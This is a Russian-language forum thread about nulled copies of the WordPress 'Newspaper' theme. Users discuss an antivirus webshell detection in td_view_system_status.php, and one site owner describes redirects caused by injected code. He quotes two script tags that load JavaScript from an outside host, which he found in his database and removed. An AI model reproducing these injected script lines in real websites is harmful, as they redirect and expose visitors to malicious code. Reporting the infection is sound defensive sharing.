Поиск Ищу тему Newspaper последней версии

[EDIKOFFF]

Дубль два. Правда уже 8.1.2 пишут. Не проверял ещё, тот же нулённый вариант скачал.

Антивирус Bkav Результат VEXB627.Webshell
в файле td_view_system_status.php

 

[yojimoto]

8.1.2

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

 

[Sergiop]

Антивирус Bkav Результат VEXB627.Webshell
в файле td_view_system_status.php

SHA256: 542b4632fff59bd0b6e280a468a164d129f6448b428b3eda6ea651891ab04db9
Для просмотра ссылки Войди или Зарегистрируйся

Дата анализа: 2017-09-10 08:28:43 UTC (2 месяцев, 1 неделя назад)

Интересно, тема когда вышла?? Или кто до выхода тестил..
Шутка, скорее всего данный файл из предыдущей темы тестили.

8.1.2

Я так понимаю это оригинальная тема?
Хэш SHA256 и соответственно результат тот же, что и у файла из нуленной темы.
Выходит, что если и шелл, то от производителя. Да и шелл теперь, довольно широко-размытое понятие..

 

[yojimoto]

Я так понимаю это оригинальная тема?
Хэш SHA256 и соответственно результат тот же, что и у файла из нуленной темы.
Выходит, что если и шелл, то от производителя. Да и шелл теперь, довольно широко-размытое понятие..

она не с themeforest скачана, с другого сайта

 

[Sergiop]

она не с themeforest скачана, с другого сайта

Выходит, что начиная как минимум с темы 8.1.1, есть некая вероятность того, что шелл, в каком-то виде, в теме всё же присутствует..

 

[EDIKOFFF]

Шелл есть и в якобы оригинале. Скорее всего модифицирован и оригинал. У меня какая-то более старая версия без него.

 

[Sergiop]

Шелл есть и в якобы оригинале.

она не с themeforest скачана, с другого сайта

Я имел в виду, что в выложенных здесь, начиная с 8.1.1, возможен шелл, и которые, как сказал yojimoto не с офсайта, т.е. как я понял - не оригинальные.

 

[yojimoto]

Я имел в виду, что в выложенных здесь, начиная с 8.1.1, возможен шелл, и которые, как сказал yojimoto не с офсайта, т.е. как я понял - не оригинальные.

Во всяком случае "клянутся", что темы чистые)))

...We offer direct download links and 100% genuine, clean and untouched packages of Wordpress Themes and Plugins.

 

[tsvetnoff]

У меня с этой темой Яндекс сайт заблокировал. Пишут - вредоносный код. Через раз при заходе на сайт перекидывает на какой-то левый сайт. В коде в двух местах нашел отсылку к какому-то скрипту:

<script type='text/javascript' src='
" rel="nofollow">https://jar.trafficbetter.biz/s.js'></script>
и
<script type="text/javascript">var sc = document.createElement("script"); sc.type = "text/javascript"; sc.src = "https://jar.trafficbetter.biz/s.js"; document.head.appendChild(sc);</script><script type='text/javascript'>
/* <![CDATA[ */
var wpcf7 = {"apiSettings":{"root":"https:\/\/мойдомен.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"recaptcha":{"messages":{"empty":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435, \u0447\u0442\u043e \u0432\u044b \u043d\u0435 \u0440\u043e\u0431\u043e\u0442."}}};
/* ]]> */
</script>

но файл темы с ними найти не могу! (( Кто-нибудь сталкивался с этим? Помогите!

UPD! Нашел. Сидели в БД. Убрал, проверю теперь работу. Если у кого похожее поведение сайта имейте ввиду.

 

[ezh88]

Скачал версию 8.2 отсюда:

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

Нормально активировалось, пока не заметил левых ссылок...